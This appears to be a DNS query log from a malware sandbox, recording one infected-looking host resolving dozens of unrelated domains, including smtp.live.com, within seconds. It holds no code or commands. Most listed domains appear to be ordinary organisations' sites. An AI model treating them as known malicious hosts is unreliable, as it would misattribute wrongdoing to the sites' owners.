Jul 27, 2023 21:53:50.741235971 CEST	8.8.8.8	192.168.2.4	0x41de	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.741235971 CEST	8.8.8.8	192.168.2.4	0x41de	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.810561895 CEST	8.8.8.8	192.168.2.4	0xe681	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.889256954 CEST	8.8.8.8	192.168.2.4	0x829a	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.006481886 CEST	8.8.8.8	192.168.2.4	0x4e97	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.130328894 CEST	8.8.8.8	192.168.2.4	0x5d5b	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.130328894 CEST	8.8.8.8	192.168.2.4	0x5d5b	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.142163992 CEST	8.8.8.8	192.168.2.4	0x4b35	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.146202087 CEST	8.8.8.8	192.168.2.4	0xfcd0	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.146202087 CEST	8.8.8.8	192.168.2.4	0xfcd0	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.160381079 CEST	8.8.8.8	192.168.2.4	0x130c	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.224447966 CEST	8.8.8.8	192.168.2.4	0x767d	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.238604069 CEST	8.8.8.8	192.168.2.4	0x34a9	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.286472082 CEST	8.8.8.8	192.168.2.4	0x530d	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.286472082 CEST	8.8.8.8	192.168.2.4	0x530d	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.286472082 CEST	8.8.8.8	192.168.2.4	0x530d	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.288403034 CEST	8.8.8.8	192.168.2.4	0x3317	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.326181889 CEST	8.8.8.8	192.168.2.4	0x9136	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.397181988 CEST	8.8.8.8	192.168.2.4	0x3de	No error (0)	snf.it		95.174.22.233	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.407730103 CEST	8.8.8.8	192.168.2.4	0xfd49	No error (0)	4locals.net		80.82.115.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.690535069 CEST	8.8.8.8	192.168.2.4	0xc9c5	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.690535069 CEST	8.8.8.8	192.168.2.4	0xc9c5	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.722466946 CEST	8.8.8.8	192.168.2.4	0xf2f4	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.722466946 CEST	8.8.8.8	192.168.2.4	0xf2f4	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.722466946 CEST	8.8.8.8	192.168.2.4	0xf2f4	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.741214991 CEST	8.8.8.8	192.168.2.4	0x6e44	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.744093895 CEST	8.8.8.8	192.168.2.4	0xc11e	No error (0)	wolffkran.de		46.4.56.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.755294085 CEST	8.8.8.8	192.168.2.4	0xac32	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.798012972 CEST	8.8.8.8	192.168.2.4	0xa651	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.802750111 CEST	8.8.8.8	192.168.2.4	0xf3d3	No error (0)	wolffkran.de		46.4.56.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.802778006 CEST	8.8.8.8	192.168.2.4	0x20b	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.108.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.109.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.108.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.94.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.95.16	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.94.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.110.176	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.891769886 CEST	8.8.8.8	192.168.2.4	0x123	No error (0)	assideum.com		52.219.176.232	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.908857107 CEST	8.8.8.8	192.168.2.4	0x3a13	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.921778917 CEST	8.8.8.8	192.168.2.4	0x18a9	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.950232983 CEST	8.8.8.8	192.168.2.4	0xdd6b	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.018075943 CEST	8.8.8.8	192.168.2.4	0xf3b2	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.021954060 CEST	8.8.8.8	192.168.2.4	0xa948	No error (0)	refintl.org		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.021954060 CEST	8.8.8.8	192.168.2.4	0xa948	No error (0)	refintl.org		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.021954060 CEST	8.8.8.8	192.168.2.4	0xa948	No error (0)	refintl.org		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.021954060 CEST	8.8.8.8	192.168.2.4	0xa948	No error (0)	refintl.org		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.155497074 CEST	8.8.8.8	192.168.2.4	0x4e97	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.197412968 CEST	8.8.8.8	192.168.2.4	0xcac0	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.208862066 CEST	8.8.8.8	192.168.2.4	0x29dc	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.210724115 CEST	8.8.8.8	192.168.2.4	0xbde4	No error (0)	k-nikko.com		52.199.213.209	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.210724115 CEST	8.8.8.8	192.168.2.4	0xbde4	No error (0)	k-nikko.com		54.150.159.238	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.213606119 CEST	8.8.8.8	192.168.2.4	0x4e50	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.224582911 CEST	8.8.8.8	192.168.2.4	0x7718	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.240309000 CEST	8.8.8.8	192.168.2.4	0x6b7a	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.240345955 CEST	8.8.8.8	192.168.2.4	0x985b	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.265882969 CEST	8.8.8.8	192.168.2.4	0xa20e	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.266159058 CEST	8.8.8.8	192.168.2.4	0xf1de	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.292300940 CEST	8.8.8.8	192.168.2.4	0xe702	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.310542107 CEST	8.8.8.8	192.168.2.4	0x135d	No error (0)	revoldia.net		154.201.225.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.349880934 CEST	8.8.8.8	192.168.2.4	0x338	No error (0)	oh28ya.com		54.248.249.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.349880934 CEST	8.8.8.8	192.168.2.4	0x338	No error (0)	oh28ya.com		54.95.64.130	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.371128082 CEST	8.8.8.8	192.168.2.4	0x4fa4	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.425504923 CEST	8.8.8.8	192.168.2.4	0xc822	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.427918911 CEST	8.8.8.8	192.168.2.4	0x4057	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.427918911 CEST	8.8.8.8	192.168.2.4	0x4057	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.473946095 CEST	8.8.8.8	192.168.2.4	0x2e00	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.511862040 CEST	8.8.8.8	192.168.2.4	0x2148	No error (0)	sigtoa.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.511862040 CEST	8.8.8.8	192.168.2.4	0x2148	No error (0)	sigtoa.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.519066095 CEST	8.8.8.8	192.168.2.4	0x8049	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.547534943 CEST	8.8.8.8	192.168.2.4	0x632a	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.569915056 CEST	8.8.8.8	192.168.2.4	0xcef	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.638020039 CEST	8.8.8.8	192.168.2.4	0x80c	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.708165884 CEST	8.8.8.8	192.168.2.4	0x9a84	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.731199026 CEST	8.8.8.8	192.168.2.4	0x6ff5	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.734896898 CEST	8.8.8.8	192.168.2.4	0x7c53	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.752630949 CEST	8.8.8.8	192.168.2.4	0x4c07	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.758302927 CEST	8.8.8.8	192.168.2.4	0xdf93	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.758881092 CEST	8.8.8.8	192.168.2.4	0x7305	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.758881092 CEST	8.8.8.8	192.168.2.4	0x7305	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.769315004 CEST	8.8.8.8	192.168.2.4	0xdbb1	No error (0)	likangds.com		156.251.140.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.770500898 CEST	8.8.8.8	192.168.2.4	0xb40b	No error (0)	zupraha.cz		77.78.104.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.782469034 CEST	8.8.8.8	192.168.2.4	0x966f	No error (0)	rast.se		93.188.2.51	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.785708904 CEST	8.8.8.8	192.168.2.4	0x66f0	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.795253992 CEST	8.8.8.8	192.168.2.4	0xbc20	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.818110943 CEST	8.8.8.8	192.168.2.4	0x7602	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.821250916 CEST	8.8.8.8	192.168.2.4	0x201f	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.854794979 CEST	8.8.8.8	192.168.2.4	0xd709	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.926619053 CEST	8.8.8.8	192.168.2.4	0x5cd3	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.929456949 CEST	8.8.8.8	192.168.2.4	0xf44d	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.937108994 CEST	8.8.8.8	192.168.2.4	0xa827	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.947823048 CEST	8.8.8.8	192.168.2.4	0xf2d4	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.960210085 CEST	8.8.8.8	192.168.2.4	0x9827	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.961184978 CEST	8.8.8.8	192.168.2.4	0x74	No error (0)	oh28ya.com		54.248.249.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.961184978 CEST	8.8.8.8	192.168.2.4	0x74	No error (0)	oh28ya.com		54.95.64.130	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:52.993339062 CEST	8.8.8.8	192.168.2.4	0x7a5a	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.004801035 CEST	8.8.8.8	192.168.2.4	0x7361	No error (0)	mondopp.net		173.231.184.124	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.008747101 CEST	8.8.8.8	192.168.2.4	0x4002	No error (0)	araax.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.008747101 CEST	8.8.8.8	192.168.2.4	0x4002	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.008747101 CEST	8.8.8.8	192.168.2.4	0x4002	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.008747101 CEST	8.8.8.8	192.168.2.4	0x4002	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.013480902 CEST	8.8.8.8	192.168.2.4	0x6bc1	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.042985916 CEST	8.8.8.8	192.168.2.4	0xbedc	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.050056934 CEST	8.8.8.8	192.168.2.4	0x563	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.064964056 CEST	8.8.8.8	192.168.2.4	0xa7dc	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.078746080 CEST	8.8.8.8	192.168.2.4	0x3f5e	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.101054907 CEST	8.8.8.8	192.168.2.4	0xe4dc	No error (0)	nblewis.com		52.0.29.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.101054907 CEST	8.8.8.8	192.168.2.4	0xe4dc	No error (0)	nblewis.com		35.169.15.168	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.101054907 CEST	8.8.8.8	192.168.2.4	0xe4dc	No error (0)	nblewis.com		35.168.185.204	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.115647078 CEST	8.8.8.8	192.168.2.4	0x72be	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.128809929 CEST	8.8.8.8	192.168.2.4	0x7c3d	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.145015001 CEST	8.8.8.8	192.168.2.4	0x679	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.149000883 CEST	8.8.8.8	192.168.2.4	0xaaa3	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.166449070 CEST	8.8.8.8	192.168.2.4	0xf00	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.168961048 CEST	8.8.8.8	192.168.2.4	0xd7fd	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.174582005 CEST	8.8.8.8	192.168.2.4	0x4d87	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.176162004 CEST	8.8.8.8	192.168.2.4	0x4d5f	Name error (3)	eos-i.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.176213980 CEST	8.8.8.8	192.168.2.4	0xf8c4	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.176944017 CEST	8.8.8.8	192.168.2.4	0xd85a	No error (0)	rkengg.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.176944017 CEST	8.8.8.8	192.168.2.4	0xd85a	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.176944017 CEST	8.8.8.8	192.168.2.4	0xd85a	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.176944017 CEST	8.8.8.8	192.168.2.4	0xd85a	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.178497076 CEST	8.8.8.8	192.168.2.4	0xba7d	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.187489986 CEST	8.8.8.8	192.168.2.4	0x9237	No error (0)	geecl.com		194.76.27.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.201657057 CEST	8.8.8.8	192.168.2.4	0x1de3	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.210764885 CEST	8.8.8.8	192.168.2.4	0x207b	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.211244106 CEST	8.8.8.8	192.168.2.4	0x92be	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.220386028 CEST	8.8.8.8	192.168.2.4	0x4234	Name error (3)	eos-i.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.246936083 CEST	8.8.8.8	192.168.2.4	0x2b76	No error (0)	anduran.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.246936083 CEST	8.8.8.8	192.168.2.4	0x2b76	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.246936083 CEST	8.8.8.8	192.168.2.4	0x2b76	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.246936083 CEST	8.8.8.8	192.168.2.4	0x2b76	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.248110056 CEST	8.8.8.8	192.168.2.4	0x8c70	No error (0)	valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.253176928 CEST	8.8.8.8	192.168.2.4	0x72a7	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.334497929 CEST	8.8.8.8	192.168.2.4	0x419b	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.405936956 CEST	8.8.8.8	192.168.2.4	0x886f	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.409635067 CEST	8.8.8.8	192.168.2.4	0xaef1	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.409635067 CEST	8.8.8.8	192.168.2.4	0xaef1	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.412365913 CEST	8.8.8.8	192.168.2.4	0xa92f	Name error (3)	eos-i.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.495758057 CEST	8.8.8.8	192.168.2.4	0x66a	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.511070967 CEST	8.8.8.8	192.168.2.4	0x767d	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.513710976 CEST	8.8.8.8	192.168.2.4	0x51f3	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.526469946 CEST	8.8.8.8	192.168.2.4	0x464d	No error (0)	cbaben.com		173.205.126.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.577609062 CEST	8.8.8.8	192.168.2.4	0x5b25	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.584834099 CEST	8.8.8.8	192.168.2.4	0x62a7	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.586191893 CEST	8.8.8.8	192.168.2.4	0xb5a1	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.586191893 CEST	8.8.8.8	192.168.2.4	0xb5a1	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.589093924 CEST	8.8.8.8	192.168.2.4	0xc046	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.595166922 CEST	8.8.8.8	192.168.2.4	0xa5d	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.596359015 CEST	8.8.8.8	192.168.2.4	0xc1d8	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.596359015 CEST	8.8.8.8	192.168.2.4	0xc1d8	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.596359015 CEST	8.8.8.8	192.168.2.4	0xc1d8	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.596359015 CEST	8.8.8.8	192.168.2.4	0xc1d8	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.615997076 CEST	8.8.8.8	192.168.2.4	0xdb29	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.648782969 CEST	8.8.8.8	192.168.2.4	0x3c0f	No error (0)	www.muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.649204969 CEST	8.8.8.8	192.168.2.4	0x8e15	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.655628920 CEST	8.8.8.8	192.168.2.4	0xe2b7	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.672482967 CEST	8.8.8.8	192.168.2.4	0x7395	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.718291044 CEST	8.8.8.8	192.168.2.4	0x88f1	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.733925104 CEST	8.8.8.8	192.168.2.4	0x831c	No error (0)	fr-dat.com		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.740365982 CEST	8.8.8.8	192.168.2.4	0xe625	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.769612074 CEST	8.8.8.8	192.168.2.4	0x8c66	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.769612074 CEST	8.8.8.8	192.168.2.4	0x8c66	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.769612074 CEST	8.8.8.8	192.168.2.4	0x8c66	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.778229952 CEST	8.8.8.8	192.168.2.4	0xec54	No error (0)	adventist.ro		49.12.155.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.797565937 CEST	8.8.8.8	192.168.2.4	0x8129	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:53:53.825700998 CEST	8.8.8.8	192.168.2.4	0x1ec2	Name error (3)	arowines.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.836416006 CEST	8.8.8.8	192.168.2.4	0x9372	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.838393927 CEST	8.8.8.8	192.168.2.4	0x7da0	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.838393927 CEST	8.8.8.8	192.168.2.4	0x7da0	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.849634886 CEST	8.8.8.8	192.168.2.4	0xfbc8	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:53.849634886 CEST	8.8.8.8	192.168.2.4	0xfbc8	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
